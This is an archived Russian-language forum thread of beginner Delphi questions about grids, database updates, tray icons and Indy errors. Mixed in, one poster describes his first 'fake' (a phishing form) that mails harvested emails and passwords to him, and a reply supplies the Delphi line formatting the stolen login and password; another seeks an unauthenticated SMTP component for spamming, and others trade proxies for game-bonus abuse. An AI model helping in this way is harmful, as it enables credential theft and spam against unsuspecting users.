[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

UPDATE <Таблица> SET <Количество>=<Количество>-1 WHERE <Ключ>

 

В моем случае это сложно будет реализовать, т.к. используется не один компонент StringGrid, и работы достаточно много, поэтому и спрашиваю готовый компонент, пока нашел только компонент в котором можно задавать выравнивание..

 

Второй вариант:
ADOTable1.Edit;
ADOTable1.FieldByName('Количество').AsInteger:=ADOTable1.FieldByName('Количество').AsInteger - 1;
ADOTable1.Post;

 

NiceGrid v.2.20
http://www.torry.net/vcl/grids/stringgrids/NiceGrid.zip

 

народ увидал на некоторых сайтах прокси для бонусов в мини играх в mail.ru кто располагает информацией как их можно достать пишите: 42774358 либо в ЛС

 

вот хороший сайт с фри прокси : http://xseo.in/freeproxy.php

А что там для бонусов какие-то особенные нужны? можно пару сайтов с такими проксями?
Если что пиши, могу достать почти любые..

 

Проблема с отправкой сообщения вконтакте... Делаю гет запрос на mail.php?act=write&to=xxxx. Парсю от туда chas, и прочее и отправляю пост на mail.php. И проблема в том, что работает это далеко не всегда, чаще всего возвращает 400 ошибку. Кто с этим сталкивался(уверен, что я не первый такой) подскажите в чем может быть проблема. chas декодю так(коряво, но вроде правильно) :

PHP:

    Delete(chas, 1, 4);
    hash := Copy(chas, 1, 3);
    Delete(chas, 1, 3);
    Delete(chas, 11, 3);
    chas :=  chas + hash;
    hash := Copy(chas, 1, 10);
    Delete(chas, 1, 10);
    chas := ReverseString(chas);
    hash := ReverseString(hash);
    chas := hash + chas;


 

Добрый день форумчане
Я недавно начал изучать дельфи и мало в нем разбираюсь сделал свой первый фейк,
и тут небольшая накладка вышла
Дело вот в чем, на почту приходят данные но они приходят в таком виде пример:

[email protected] ящик, 1231456 пасс
А какк сделать так чтобы приходило так

Вот строчка

И ещё небольшой вопрос как изменить дизайн кнопки в Дельфи 7, а то они там как на вин 98 старые, заранее спасибо?

 

)))
2 ya8lon

Code:

idMessage1.Body.Text:= ('Mail: '+Edit1.Text+' Pass: '+Edit2.Text);

Как ты его написал то не знает этого))

 

Ахах Спасибо, ээ ошибок много я же говорю новичок пробывал немного по другому idMessage1.Body.Text:= ('Mail' Edit1.Text+'Pass' Edit2.Text);
Ыыы немного ошибсо
Спасиб олдыч вот что вышло

 

есть ли альтернатива NMSMTP ?, IdSMTP1 не подходит, вообще нужен спам через smtp! NMSMTP это поддерживал отлично,и без автовизации!)

 

uses XPman

 

Терь уже другая проблемма, в дельфи 2009 открыл (ну файл .dpr) проект который был написан на 2007 дельфи после чего кнопки(оформление кнопок) стало старым как в 2007 дельфи как вернуть преждний дизайн кнопок? Переустоновка непомогает

 

В настройках проекта, там где иконка, тыцни галочку "оспользовать темы оформления"

 

Фак, вообще не доганяю куда тыкать? Напиши подробно, сорь если что...

 

Tools(Инструменты) -> Environment Options(настройка окружения/среды) попробуй там все по дефолту установить.

 

Из-за чего происходит ошибка инди, в потоке "Socket Error # 10061 Connection refused"?
Инди 9.00.10.
В однопоточных приложениях нормально.

Антивируса нет, брандмауэр отключал.

 

Сори за нубский вопрос

Из-за этого ошибка, что делать?

Это при клике на кнопку
Все разобрался сори )

 

Я сворачиваю программу в трей так:

Code:

procedure TForm1.Button6Click(Sender: TObject);
 var
    k: integer;
  begin
    application.Minimize;
    for k := 0 to Screen.FormCount - 1 do begin
      Screen.Forms[k].Hide;
    end;
  end;

После чего по этому коду при нажатии на значок в трее, Form1 должен появиться:

Code:

procedure TForm1.CoolTrayIcon1Click(Sender: TObject);
  var
    k: integer;
  begin
    for k := Screen.FormCount - 1 downto 0 do begin
      Screen.Forms[k].Show;
    end;
    application.Restore;
    application.BringToFront;
  end;

Но после нажатии ни чего не происходит. Что делать??? Пробовал просто

Code:

procedure TForm1.Button6Click(Sender: TObject);
  begin
   Form1.Hide;
  end;

После чего по этому коду при нажатии на значок в трее, Form1 должен появиться:

Code:

procedure TForm1.CoolTrayIcon1Click(Sender: TObject);
  begin
 Form1.show;
  end;

Но все так же. Что я не так делаю???

 

Code:

// procedure CoolTrayIcon1Cycle(Sender: TObject; NextIndex: Integer);

Закоментировал, заработало..